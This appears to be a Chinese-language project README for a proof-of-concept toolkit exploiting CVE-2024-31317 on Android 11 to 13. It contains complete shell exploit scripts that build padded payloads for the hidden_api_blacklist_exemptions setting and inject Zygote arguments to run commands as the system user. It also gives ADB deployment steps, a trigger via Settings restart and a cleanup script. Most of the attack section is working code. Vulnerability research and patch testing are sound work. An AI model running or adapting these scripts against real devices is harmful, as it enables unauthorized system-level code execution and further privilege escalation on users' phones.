CVE-2024-31317 Android 系统漏洞利用概念验证工具集

4 阅读5分钟

CVE-2024-31317 Android 系统漏洞利用概念验证工具集

本项目提供了针对 Android 系统高危漏洞 CVE-2024-31317 的完整概念验证(PoC)脚本集合。该漏洞影响 Android 11、12、13 等多个版本,允许攻击者绕过系统隐藏 API 黑名单限制,实现以 system_server 权限执行任意命令。

功能特性

  • 多版本兼容:分别提供针对 Android 11(及以下)、Android 12、Android 13 的专用利用脚本
  • 自动 Payload 构造:根据 Android 版本差异,动态生成适配的漏洞利用载荷
  • 精准偏移计算:针对 Android 13 实现缓冲区精确填充,确保恶意指令被正确解析
  • 一键触发机制:自动重启 Settings 应用触发漏洞,执行注入的恶意命令
  • 自动清理脚本:提供清理脚本,避免设备因残留配置导致无法正常启动
  • ADB 一键部署:配套启动脚本,支持通过 ADB 快速推送和执行

安装指南

系统要求

  • 一台已解锁 Bootloader 并获取 root 权限的 Android 设备(用于测试)
  • 启用 开发者选项USB 调试 模式
  • 主机安装 Android Debug Bridge (ADB) 工具

部署步骤

  1. 克隆或下载本仓库到本地计算机

  2. 连接目标设备

    adb devices
    # 确保设备已授权并显示为 device 状态
    
  3. 根据 Android 版本选择脚本

    • Android 11 及以下:CVE-2024-31317-android11-.sh
    • Android 12:CVE-2024-31317-android12.sh
    • Android 13:CVE-2024-31317-android13.sh
  4. 使用启动脚本自动推送并执行

    # 编辑 starter.sh,将 <N> 替换为对应版本号(11/12/13)
    export Filename="CVE-2024-31317-android13.sh"
    chmod +x starter.sh
    ./starter.sh
    

使用说明

基础用法

手动执行漏洞利用脚本:

# 推送脚本到设备
adb push CVE-2024-31317-android13.sh /data/local/tmp/

# 赋予执行权限
adb shell chmod +x /data/local/tmp/CVE-2024-31317-android13.sh

# 运行漏洞利用
adb shell /data/local/tmp/CVE-2024-31317-android13.sh

验证利用是否成功:

# 查看 logcat 输出,搜索注入命令执行的标识字符串
adb shell logcat | grep zYg0te

清理环境(重要):

# 运行清理脚本,移除 payload 并重置系统属性
adb shell /data/local/tmp/cleanup.sh

典型工作流程

  1. 准备阶段:确认目标 Android 版本,选择对应的 exploit 脚本
  2. 执行利用:脚本自动构造 payload → 写入 /data/local/tmp/payload.txt → 设置全局属性 hidden_api_blacklist_exemptions
  3. 触发漏洞:强制停止并重启 com.android.settings 应用,触发 system_server 解析恶意配置
  4. 权限提升:注入的命令将以 system 用户(UID=1000)权限执行,可进一步进行提权操作
  5. 清理痕迹必须在设备重启前执行清理脚本,否则设备将无法正常启动

API 原理概述

漏洞利用核心是通过 settings put global hidden_api_blacklist_exemptions 注入精心构造的载荷,利用系统服务解析该属性时的缓冲区溢出或逻辑缺陷,将恶意命令行参数注入到 system_server 进程中。不同 Android 版本的载荷结构存在差异:

  • Android 11-:直接注入 --setuid=1000 等参数
  • Android 12:需要添加 --set-api-denylist-exemptions 前缀并构造 8192 字节对齐
  • Android 13:精确计算偏移量,确保恶意命令起始字节为 '9',并验证关键位置

核心代码

Android 11 及以下版本利用脚本核心

#!/system/bin/sh
# Android 11- 漏洞利用核心逻辑

# 构造注入命令,以 system 用户身份执行 id 命令
INJECT_CMD="

8
--setuid=1000
--setgid=1000
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=30:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
/system/bin/logwrapper echo zYg0te \$(id) #
,,,,X"

# 清理残留配置
settings put global hidden_api_blacklist_exemptions null

# 写入 payload 到文件
echo "$INJECT_CMD" > /data/local/tmp/payload.txt

# 设置全局属性触发漏洞
settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload.txt)"

# 重启 Settings 应用触发 system_server 解析
am force-stop com.android.settings
am start -a android.settings.SETTINGS

Android 12 利用脚本核心(缓冲区填充)

#!/system/bin/sh
# Android 12 漏洞利用 - 8192 字节缓冲区精确填充

BUFFER_SIZE=8192
NEWLINE_COUNT=5000

# 注入命令主体
INJECT_CMD="8
--setuid=1000
--setgid=1000
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=29:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
/system/bin/logwrapper echo zYg0te \$(id) #"

# 构造前缀和填充数据达到 BUFFER_SIZE 边界
PREFIX="$(($NEWLINE_COUNT + 1))
--set-api-denylist-exemptions
"

PREFIX_LEN=$(echo -n "$PREFIX" | wc -c)
PADDING_LEN=$(($BUFFER_SIZE - $PREFIX_LEN - $NEWLINE_COUNT + 1))
PADDING=$(printf "%${PADDING_LEN}s" | tr ' ' 'A')

# 生成换行填充
PAYLOAD_PART1=""
for i in $(seq 1 $NEWLINE_COUNT); do
    PAYLOAD_PART1="${PAYLOAD_PART1}\n"
done
PAYLOAD_PART1="${PAYLOAD_PART1}${PADDING}"

# 拼接最终载荷
FINAL_PAYLOAD="${PAYLOAD_PART1}${INJECT_CMD}"
for i in $(seq 1 $(($NEWLINE_COUNT - 1))); do
    FINAL_PAYLOAD="${FINAL_PAYLOAD},"
done
FINAL_PAYLOAD="${FINAL_PAYLOAD}X"

# 写入并触发
echo "$FINAL_PAYLOAD" > /data/local/tmp/payload.txt
settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload.txt)"

Android 13 利用脚本核心(偏移量精确验证)

#!/system/bin/sh
# Android 13 漏洞利用 - 带关键字节验证的精确利用

BUFFER_SIZE=8192
NEWLINE_COUNT=5000

INJECT_CMD="9
--setuid=1000
--setgid=1000
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=29:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
/system/bin/logwrapper echo zYg0te \$(id) #"

# 计算前缀长度
ARG_COUNT=$((NEWLINE_COUNT + 1))
PREFIX="${ARG_COUNT}
--set-api-denylist-exemptions
"
PREFIX_LEN=$(printf "%s" "$PREFIX" | wc -c)

# 计算载荷第一部分所需长度
PAYLOAD_PART1_LEN=$((BUFFER_SIZE - PREFIX_LEN))

# 生成精确长度的填充数据
PAYLOAD_PART1=""
for i in $(seq 1 $NEWLINE_COUNT); do
    PAYLOAD_PART1="${PAYLOAD_PART1}\n"
done
current_len=$(printf "%s" "$PAYLOAD_PART1" | wc -c)
needed_a=$((PAYLOAD_PART1_LEN - current_len))
padding=$(printf "%0${needed_a}d" 0 | tr '0' 'A')
PAYLOAD_PART1="${PAYLOAD_PART1}${padding}"

# 完整载荷
FULL_PAYLOAD="${PAYLOAD_PART1}${INJECT_CMD}"
for i in $(seq 1 $((NEWLINE_COUNT - 1))); do
    FULL_PAYLOAD="${FULL_PAYLOAD},"
done
FULL_PAYLOAD="${FULL_PAYLOAD}X"

# 关键验证:检查恶意命令起始字节是否为 '9' (ASCII 57)
printf "%s" "$FULL_PAYLOAD" > /data/local/tmp/payload.txt
byte_at_offset=$(dd if=/data/local/tmp/payload.txt bs=1 skip=$PAYLOAD_PART1_LEN count=1 2>/dev/null | od -An -t uC)
if [ "$byte_at_offset" -eq 57 ]; then
    echo "Critical check passed: Malicious command at correct offset"
else
    echo "Check failed! Byte is not '9'"
    exit 1
fi

# 触发漏洞
settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload.txt)"
am force-stop com.android.settings
am start -a android.settings.SETTINGS

自动清理脚本

#!/system/bin/sh
# cleanup.sh - 漏洞利用后的环境清理

# 删除 payload 文件
rm /data/local/tmp/payload.txt

# 重置隐藏 API 黑名单豁免配置
settings put global hidden_api_blacklist_exemptions null

echo '[v] Clean up successful!'

⚠️ 安全警告:本工具仅限安全研究人员在自有设备或获得明确书面授权的环境中进行漏洞验证。利用本工具进行未授权访问或破坏行为将承担相应法律责任。执行利用后必须在设备重启前运行清理脚本,否则可能导致设备无法正常启动,需要进入 Recovery 模式擦除数据分区才能恢复。 6HFtX5dABrKlqXeO5PUv/+4vO6aC6solZfF9iRYqMadYn7uEFLg4frjSr9wVg3xh